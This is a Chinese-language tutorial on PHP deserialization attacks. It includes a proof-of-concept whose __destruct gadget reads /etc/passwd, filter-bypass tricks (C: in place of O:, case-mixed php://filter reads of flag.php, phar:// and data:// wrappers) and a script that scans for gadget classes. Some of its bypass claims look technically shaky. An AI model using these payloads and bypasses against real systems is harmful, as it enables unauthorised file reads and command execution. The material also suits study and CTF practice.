PHP反序列化漏洞核心在于可控unserialize()调用配合__destruct、__wakeup等魔术方法构造POP链,实现文件读取或命令执行;常见入口包括HTTP参数、Session、缓存及配置文件,需结合伪协议、编码绕过等技巧利用。

PHP反序列化漏洞的核心在于可控的 unserialize() 调用,配合类中可利用的魔术方法(如 __destruct、__wakeup、__toString)构成 POP 链,最终达成文件读取、命令执行等效果。漏洞是否可利用,不只看有没有 unserialize(),更要看是否有“能串起来”的类和方法。
关键点:从哪找入口?
真实环境中,反序列化入口往往藏得较深,常见位置包括:
- HTTP 请求参数中显式调用,如
?data=O:4:"Test":1:{s:4:"test";s:5:"hello";} - Session 数据反序列化:当
session.serialize_handler为php或php_binary,且开发者用unserialize($_SESSION['xxx'])处理自定义字段时 - 缓存反取:Redis/Memcached 中存储了序列化字符串,业务代码未校验直接
unserialize() - 日志或配置文件解析:如某些 CMS 将插件配置以序列化形式写入文件,再读取执行
一个可本地验证的最小POC示例
以下代码模拟典型脆弱场景,含 __destruct 触发文件读取,可直接保存为 test.php 运行:
php
class FileHandler {
protected $filename = "/etc/passwd";
function __destruct() {
if (file_exists($this->filename)) {
echo "Leaked: " . file_get_contents($this->filename);
}
}
}
// 模拟攻击者传入的恶意序列化字符串
$payload = 'O:11:"FileHandler":1:{s:8:"filename";s:11:"/etc/passwd";}';
unserialize($payload);
?>
运行后会输出 /etc/passwd 内容。注意:protected 属性在序列化中需按 %00*%00key 格式编码(此处因是单字节类名,可简写;实际绕过正则时常用 C: 替换 O: 或空字节编码)。
绕过常见防护的实操技巧
CTF 和真实系统中常设过滤,需针对性构造:
- 正则拦截
/[oc]:\d+:/i?改用C:(自定义类)代替O:(标准对象),如C:11:"FileHandler":... - 过滤
php://?大小写混淆:PHP://filter/read=convert.base64-encode/resource=flag.php - 限制文件路径含
..或php?用伪协议跳过检测,例如phar://触发反序列化,或data://内嵌 payload - 长度限制?用
gzcompress()编码 payload 后 base64,再在反序列化前解压(需目标开启 zlib 扩展)
快速检测是否存在可用POP链
无需人工逐个翻代码,可用 PHPGGC 工具生成基础链,或用如下脚本扫描当前目录下所有类:
php -r "
\$files = glob('*.php');
foreach(\$files as \$f) {
if (preg_match('/class\s+(\w+).*(?:__destruct|__wakeup|__toString)/is', file_get_contents(\$f), \$m)) {
echo \"[+] Found in \$f: \${\$m[1]}\n\";
}
}"
输出结果可进一步结合 grep -r '__destruct\|__toString' *.php 定位调用关系。重点观察是否出现 file_get_contents、include、call_user_func、system 等敏感函数调用。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











